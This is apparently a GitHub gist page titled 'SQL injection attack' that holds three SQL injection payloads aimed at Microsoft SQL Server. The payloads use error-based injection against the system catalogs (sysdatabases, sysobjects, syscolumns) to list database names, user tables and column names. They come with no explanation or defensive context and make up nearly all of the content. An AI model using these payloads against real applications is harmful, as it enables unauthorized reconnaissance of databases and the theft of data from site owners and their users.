Skip to content

Instantly share code, notes, and snippets.

@cloudsben
Created December 12, 2012 07:00
Show Gist options
  • Save cloudsben/4265673 to your computer and use it in GitHub Desktop.
Save cloudsben/4265673 to your computer and use it in GitHub Desktop.
SQL injection attack
t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--
b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--
b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment